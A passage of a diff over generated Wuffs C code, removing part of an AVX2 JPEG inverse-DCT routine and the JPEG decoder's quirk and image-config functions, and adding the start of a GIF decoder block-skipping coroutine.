= {0}; +- __m256i v_sp_bq7153eh = {0}; +- __m256i v_sp_rk75ad = {0}; +- __m256i v_sp_rk75eh = {0}; +- __m256i v_sp_rl5173ad = {0}; +- __m256i v_sp_rl5173eh = {0}; +- __m256i v_sp_rk13ad = {0}; +- __m256i v_sp_rk13eh = {0}; +- __m256i v_final01ad = {0}; +- __m256i v_final01eh = {0}; +- __m256i v_final01 = {0}; +- __m256i v_final32ad = {0}; +- __m256i v_final32eh = {0}; +- __m256i v_final32 = {0}; +- __m256i v_final45ad = {0}; +- __m256i v_final45eh = {0}; +- __m256i v_final45 = {0}; +- __m256i v_final76ad = {0}; +- __m256i v_final76eh = {0}; +- __m256i v_final76 = {0}; +- __m256i v_fta0a1e0e1 = {0}; +- __m256i v_fta2a3e2e3 = {0}; +- __m256i v_fta4a5e4e5 = {0}; +- __m256i v_fta6a7e6e7 = {0}; +- __m256i v_fta0c0e0g0 = {0}; +- __m256i v_fta1c1e1g1 = {0}; +- __m256i v_fta4c4e4g4 = {0}; +- __m256i v_fta5c5e5g5 = {0}; +- __m256i v_fta0b0e0f0 = {0}; +- __m256i v_ftc0d0g0h0 = {0}; +- __m256i v_fta4b4e4f4 = {0}; +- __m256i v_ftc4d4g4h4 = {0}; +- __m256i v_finalae = {0}; +- __m256i v_finalbf = {0}; +- __m256i v_finalcg = {0}; +- __m256i v_finaldh = {0}; +- __m256i v_final0145 = {0}; +- __m256i v_final2367 = {0}; +- uint64_t v_final0 = 0; +- uint64_t v_final1 = 0; +- uint64_t v_final2 = 0; +- uint64_t v_final3 = 0; +- uint64_t v_final4 = 0; +- uint64_t v_final5 = 0; +- uint64_t v_final6 = 0; +- uint64_t v_final7 = 0; +- wuffs_base__slice_u8 v_remaining = {0}; +- +- if (8u > a_dst_stride) { +- return wuffs_base__make_empty_struct(); +- } +- v_k_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u)); +- v_k_8080 = _mm256_set_epi16((int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u)); +- v_k_0000_0002 = _mm256_set_epi16((int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u)); +- v_k_0001_FFFF = _mm256_set_epi16((int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u)); +- v_k_0400_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u)); +- v_k_29CF_1151_D630_1151 = _mm256_set_epi16((int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u)); +- v_k_E333_133E_ADFD_1051 = _mm256_set_epi16((int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u)); +- v_k_E6DC_25A1_1925_25A1 = _mm256_set_epi16((int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u)); +- v_k_ECC1_E333_EFB0_ADFD = _mm256_set_epi16((int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u)); +- do { +- if (0u == (wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)) | wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)))) { +- v_az_coeffs = _mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 24u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 40u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 56u))); +- if (0u == ((uint64_t)(_mm_cvtsi128_si64(_mm_packs_epi16(v_az_coeffs, v_az_coeffs))))) { +- v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); +- v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); +- v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); +- v_az_ah00 = _mm256_slli_epi16(v_rows01, (int32_t)(2u)); +- v_az_ad00 = _mm256_unpacklo_epi16(v_az_ah00, v_az_ah00); +- v_az_eh00 = _mm256_unpackhi_epi16(v_az_ah00, v_az_ah00); +- v_az_adeh = _mm256_inserti128_si256(v_az_ad00, _mm256_castsi256_si128(v_az_eh00), (int32_t)(1u)); +- v_intermediateae = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(0u)); +- v_intermediatebf = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(85u)); +- v_intermediatecg = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(170u)); +- v_intermediatedh = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(255u)); +- break; +- } +- } +- v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); +- v_rows23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)); +- v_rows45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u)); +- v_rows67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u)); +- v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); +- v_quants23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 16u)); +- v_quants45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 32u)); +- v_quants67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 48u)); +- v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); +- v_rows23 = _mm256_mullo_epi16(v_rows23, v_quants23); +- v_rows45 = _mm256_mullo_epi16(v_rows45, v_quants45); +- v_rows67 = _mm256_mullo_epi16(v_rows67, v_quants67); +- v_rows04 = _mm256_permute2x128_si256(v_rows01, v_rows45, (int32_t)(32u)); +- v_rows31 = _mm256_permute2x128_si256(v_rows23, v_rows01, (int32_t)(49u)); +- v_rows26 = _mm256_permute2x128_si256(v_rows23, v_rows67, (int32_t)(32u)); +- v_rows75 = _mm256_permute2x128_si256(v_rows67, v_rows45, (int32_t)(49u)); +- v_fp_rows62 = _mm256_permute2x128_si256(v_rows26, v_rows26, (int32_t)(1u)); +- v_fp_bq2662ad = _mm256_unpacklo_epi16(v_rows26, v_fp_rows62); +- v_fp_bq2662eh = _mm256_unpackhi_epi16(v_rows26, v_fp_rows62); +- v_fp_cb26ad = _mm256_madd_epi16(v_fp_bq2662ad, v_k_29CF_1151_D630_1151); +- v_fp_cb26eh = _mm256_madd_epi16(v_fp_bq2662eh, v_k_29CF_1151_D630_1151); +- v_fp_rows40pos = _mm256_permute2x128_si256(v_rows04, v_rows04, (int32_t)(1u)); +- v_fp_rows04neg = _mm256_sign_epi16(v_rows04, v_k_0001_FFFF); +- v_fp_rows0pm4 = _mm256_add_epi16(v_fp_rows40pos, v_fp_rows04neg); +- v_fp_ccpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); +- v_fp_ccpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); +- v_fp_cd01ad = _mm256_add_epi32(v_fp_ccpmad, v_fp_cb26ad); +- v_fp_cd01eh = _mm256_add_epi32(v_fp_ccpmeh, v_fp_cb26eh); +- v_fp_cd32ad = _mm256_sub_epi32(v_fp_ccpmad, v_fp_cb26ad); +- v_fp_cd32eh = _mm256_sub_epi32(v_fp_ccpmeh, v_fp_cb26eh); +- v_fp_sums7351 = _mm256_add_epi16(v_rows75, v_rows31); +- v_fp_sums5173 = _mm256_permute2x128_si256(v_fp_sums7351, v_fp_sums7351, (int32_t)(1u)); +- v_fp_ci73515173ad = _mm256_unpacklo_epi16(v_fp_sums7351, v_fp_sums5173); +- v_fp_ci73515173eh = _mm256_unpackhi_epi16(v_fp_sums7351, v_fp_sums5173); +- v_fp_cl7351ad = _mm256_madd_epi16(v_fp_ci73515173ad, v_k_E6DC_25A1_1925_25A1); +- v_fp_cl7351eh = _mm256_madd_epi16(v_fp_ci73515173eh, v_k_E6DC_25A1_1925_25A1); +- v_fp_rows13 = _mm256_permute2x128_si256(v_rows31, v_rows31, (int32_t)(1u)); +- v_fp_bq7153ad = _mm256_unpacklo_epi16(v_rows75, v_fp_rows13); +- v_fp_bq7153eh = _mm256_unpackhi_epi16(v_rows75, v_fp_rows13); +- v_fp_ck75ad = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351ad); +- v_fp_ck75eh = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351eh); +- v_fp_cl5173ad = _mm256_permute2x128_si256(v_fp_cl7351ad, v_fp_cl7351ad, (int32_t)(1u)); +- v_fp_cl5173eh = _mm256_permute2x128_si256(v_fp_cl7351eh, v_fp_cl7351eh, (int32_t)(1u)); +- v_fp_ck13ad = _mm256_add_epi32(v_fp_cl5173ad, _mm256_madd_epi16(v_fp_bq7153ad, v_k_E333_133E_ADFD_1051)); +- v_fp_ck13eh = _mm256_add_epi32(v_fp_cl5173eh, _mm256_madd_epi16(v_fp_bq7153eh, v_k_E333_133E_ADFD_1051)); +- v_intermediate01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate01 = _mm256_packs_epi32(v_intermediate01ad, v_intermediate01eh); +- v_intermediate32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate32 = _mm256_packs_epi32(v_intermediate32ad, v_intermediate32eh); +- v_intermediate45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate45 = _mm256_packs_epi32(v_intermediate45ad, v_intermediate45eh); +- v_intermediate76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate76 = _mm256_packs_epi32(v_intermediate76ad, v_intermediate76eh); +- v_ita0a1e0e1 = _mm256_permute4x64_epi64(v_intermediate01, (int32_t)(216u)); +- v_ita2a3e2e3 = _mm256_permute4x64_epi64(v_intermediate32, (int32_t)(114u)); +- v_ita4a5e4e5 = _mm256_permute4x64_epi64(v_intermediate45, (int32_t)(216u)); +- v_ita6a7e6e7 = _mm256_permute4x64_epi64(v_intermediate76, (int32_t)(114u)); +- v_ita0c0e0g0 = _mm256_unpacklo_epi16(v_ita0a1e0e1, v_ita2a3e2e3); +- v_ita1c1e1g1 = _mm256_unpackhi_epi16(v_ita0a1e0e1, v_ita2a3e2e3); +- v_ita4c4e4g4 = _mm256_unpacklo_epi16(v_ita4a5e4e5, v_ita6a7e6e7); +- v_ita5c5e5g5 = _mm256_unpackhi_epi16(v_ita4a5e4e5, v_ita6a7e6e7); +- v_ita0b0e0f0 = _mm256_unpacklo_epi16(v_ita0c0e0g0, v_ita1c1e1g1); +- v_itc0d0g0h0 = _mm256_unpackhi_epi16(v_ita0c0e0g0, v_ita1c1e1g1); +- v_ita4b4e4f4 = _mm256_unpacklo_epi16(v_ita4c4e4g4, v_ita5c5e5g5); +- v_itc4d4g4h4 = _mm256_unpackhi_epi16(v_ita4c4e4g4, v_ita5c5e5g5); +- v_intermediateae = _mm256_unpacklo_epi64(v_ita0b0e0f0, v_ita4b4e4f4); +- v_intermediatebf = _mm256_unpackhi_epi64(v_ita0b0e0f0, v_ita4b4e4f4); +- v_intermediatecg = _mm256_unpacklo_epi64(v_itc0d0g0h0, v_itc4d4g4h4); +- v_intermediatedh = _mm256_unpackhi_epi64(v_itc0d0g0h0, v_itc4d4g4h4); +- } while (0); +- v_intermediatedb = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(32u)); +- v_intermediatehf = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(49u)); +- v_sp_cols62 = _mm256_permute2x128_si256(v_intermediatecg, v_intermediatecg, (int32_t)(1u)); +- v_sp_bq2662ad = _mm256_unpacklo_epi16(v_intermediatecg, v_sp_cols62); +- v_sp_bq2662eh = _mm256_unpackhi_epi16(v_intermediatecg, v_sp_cols62); +- v_sp_rb26ad = _mm256_madd_epi16(v_sp_bq2662ad, v_k_29CF_1151_D630_1151); +- v_sp_rb26eh = _mm256_madd_epi16(v_sp_bq2662eh, v_k_29CF_1151_D630_1151); +- v_sp_cols40pos = _mm256_permute2x128_si256(v_intermediateae, v_intermediateae, (int32_t)(1u)); +- v_sp_cols04neg = _mm256_sign_epi16(v_intermediateae, v_k_0001_FFFF); +- v_sp_cols0pm4 = _mm256_add_epi16(v_sp_cols40pos, v_sp_cols04neg); +- v_sp_rcpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); +- v_sp_rcpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); +- v_sp_rd01ad = _mm256_add_epi32(v_sp_rcpmad, v_sp_rb26ad); +- v_sp_rd01eh = _mm256_add_epi32(v_sp_rcpmeh, v_sp_rb26eh); +- v_sp_rd32ad = _mm256_sub_epi32(v_sp_rcpmad, v_sp_rb26ad); +- v_sp_rd32eh = _mm256_sub_epi32(v_sp_rcpmeh, v_sp_rb26eh); +- v_sp_sums7351 = _mm256_add_epi16(v_intermediatehf, v_intermediatedb); +- v_sp_sums5173 = _mm256_permute2x128_si256(v_sp_sums7351, v_sp_sums7351, (int32_t)(1u)); +- v_sp_ri73515173ad = _mm256_unpacklo_epi16(v_sp_sums7351, v_sp_sums5173); +- v_sp_ri73515173eh = _mm256_unpackhi_epi16(v_sp_sums7351, v_sp_sums5173); +- v_sp_rl7351ad = _mm256_madd_epi16(v_sp_ri73515173ad, v_k_E6DC_25A1_1925_25A1); +- v_sp_rl7351eh = _mm256_madd_epi16(v_sp_ri73515173eh, v_k_E6DC_25A1_1925_25A1); +- v_sp_cols13 = _mm256_permute2x128_si256(v_intermediatedb, v_intermediatedb, (int32_t)(1u)); +- v_sp_bq7153ad = _mm256_unpacklo_epi16(v_intermediatehf, v_sp_cols13); +- v_sp_bq7153eh = _mm256_unpackhi_epi16(v_intermediatehf, v_sp_cols13); +- v_sp_rk75ad = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351ad); +- v_sp_rk75eh = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351eh); +- v_sp_rl5173ad = _mm256_permute2x128_si256(v_sp_rl7351ad, v_sp_rl7351ad, (int32_t)(1u)); +- v_sp_rl5173eh = _mm256_permute2x128_si256(v_sp_rl7351eh, v_sp_rl7351eh, (int32_t)(1u)); +- v_sp_rk13ad = _mm256_add_epi32(v_sp_rl5173ad, _mm256_madd_epi16(v_sp_bq7153ad, v_k_E333_133E_ADFD_1051)); +- v_sp_rk13eh = _mm256_add_epi32(v_sp_rl5173eh, _mm256_madd_epi16(v_sp_bq7153eh, v_k_E333_133E_ADFD_1051)); +- v_final01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); +- v_final01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); +- v_final01 = _mm256_packs_epi32(v_final01ad, v_final01eh); +- v_final32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); +- v_final32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); +- v_final32 = _mm256_packs_epi32(v_final32ad, v_final32eh); +- v_final45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); +- v_final45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); +- v_final45 = _mm256_packs_epi32(v_final45ad, v_final45eh); +- v_final76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); +- v_final76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); +- v_final76 = _mm256_packs_epi32(v_final76ad, v_final76eh); +- v_fta0a1e0e1 = _mm256_permute4x64_epi64(v_final01, (int32_t)(216u)); +- v_fta2a3e2e3 = _mm256_permute4x64_epi64(v_final32, (int32_t)(114u)); +- v_fta4a5e4e5 = _mm256_permute4x64_epi64(v_final45, (int32_t)(216u)); +- v_fta6a7e6e7 = _mm256_permute4x64_epi64(v_final76, (int32_t)(114u)); +- v_fta0c0e0g0 = _mm256_unpacklo_epi16(v_fta0a1e0e1, v_fta2a3e2e3); +- v_fta1c1e1g1 = _mm256_unpackhi_epi16(v_fta0a1e0e1, v_fta2a3e2e3); +- v_fta4c4e4g4 = _mm256_unpacklo_epi16(v_fta4a5e4e5, v_fta6a7e6e7); +- v_fta5c5e5g5 = _mm256_unpackhi_epi16(v_fta4a5e4e5, v_fta6a7e6e7); +- v_fta0b0e0f0 = _mm256_unpacklo_epi16(v_fta0c0e0g0, v_fta1c1e1g1); +- v_ftc0d0g0h0 = _mm256_unpackhi_epi16(v_fta0c0e0g0, v_fta1c1e1g1); +- v_fta4b4e4f4 = _mm256_unpacklo_epi16(v_fta4c4e4g4, v_fta5c5e5g5); +- v_ftc4d4g4h4 = _mm256_unpackhi_epi16(v_fta4c4e4g4, v_fta5c5e5g5); +- v_finalae = _mm256_unpacklo_epi64(v_fta0b0e0f0, v_fta4b4e4f4); +- v_finalbf = _mm256_unpackhi_epi64(v_fta0b0e0f0, v_fta4b4e4f4); +- v_finalcg = _mm256_unpacklo_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); +- v_finaldh = _mm256_unpackhi_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); +- v_final0145 = _mm256_add_epi8(_mm256_packs_epi16(v_finalae, v_finalbf), v_k_8080); +- v_final2367 = _mm256_add_epi8(_mm256_packs_epi16(v_finalcg, v_finaldh), v_k_8080); +- v_final0 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(0u)))); +- v_final1 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(1u)))); +- v_final2 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(0u)))); +- v_final3 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(1u)))); +- v_final4 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(2u)))); +- v_final5 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(3u)))); +- v_final6 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(2u)))); +- v_final7 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(3u)))); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final0); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final1); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final2); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final3); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final4); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final5); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final6); +- a_dst_buffer = v_remaining; +- if (8u > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final7); +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) +-// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 +- +-// -------- func jpeg.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__get_quirk( +- const wuffs_jpeg__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func jpeg.decoder.set_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__set_quirk( +- wuffs_jpeg__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} +- +-// -------- func jpeg.decoder.decode_image_config +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__decode_image_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__image_config* a_dst, ++static wuffs_base__status ++wuffs_gif__decoder__skip_blocks( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint8_t v_block_size = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_skip_blocks; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_block_size = t_0; + } +- if ((v_status.repr == wuffs_base__suspension__short_read) && 